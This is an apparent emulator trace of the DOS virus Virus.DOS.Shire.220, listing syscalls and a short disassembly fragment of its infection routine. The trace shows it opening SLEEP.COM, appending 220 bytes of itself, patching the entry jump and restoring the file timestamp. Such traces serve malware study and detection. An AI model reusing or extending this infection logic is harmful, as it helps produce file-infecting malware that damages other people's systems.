Sample viewer

vx.netlux.org/Virus.DOS.Shire.220

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:42:36.03206125Z 53 PC: 12ba6 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:42:36.035026946Z 37 PC: 12bb5 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:42:36.036488083Z 26 PC: 12bbc | Set disk transfer address
2018-12-17T22:42:36.03787248Z 42 PC: 12bc0 | Get date 0x12bc0: ror dh, 1
0x12bc2: jb 0x12c2e
0x12bc4: lea dx, word ptr [si + 0xb4]
0x12bc8: mov ah, 0x4e
0x12bca: int 0x21
0x12bcc: jb 0x12be0
0x12bce: mov al, byte ptr [0xffae]
0x12bd1: inc ax
0x12bd2: and al, 0x1f
0x12bd4: mov ah, 0x4f
0x12bd6: je 0x12bca
0x12bd8: mov dx, 0xffb6
0x12bdb: mov ax, 0x3d02
0x12bde: int 0x21
0x12be0: jb 0x12c2e
0x12be2: xchg ax, bx
0x12be3: mov ah, 0x3f
0x12be5: mov dx, di
0x12be7: mov cx, 3
0x12bea: int 0x21
2018-12-17T22:42:36.041098339Z 78 PC: 12bcc | Find first file
2018-12-17T22:42:36.047307754Z 61 PC: 12be0 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:42:36.053813513Z 63 PC: 12bec | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:42:36.061079494Z 66 PC: 12bf4 | Move file pointer
2018-12-17T22:42:36.06344062Z 64 PC: 12c58 | Write file or device (Write 220 bytes on handle 5)
2018-12-17T22:42:36.468299769Z 66 PC: 12c11 | Move file pointer
2018-12-17T22:42:36.470027167Z 64 PC: 12c1c | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:42:36.477508719Z 87 PC: 12c2a | Get or set file date and time
2018-12-17T22:42:36.479258925Z 62 PC: 12c2e | Close file
2018-12-17T22:42:36.486523989Z 37 PC: 12c34 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:42:36.488159148Z 26 PC: 12c58 | Set disk transfer address
2018-12-17T22:42:36.489150242Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-17T22:42:36.491605812Z 76 PC: 12a86 | Terminate with return code (Return code = '36')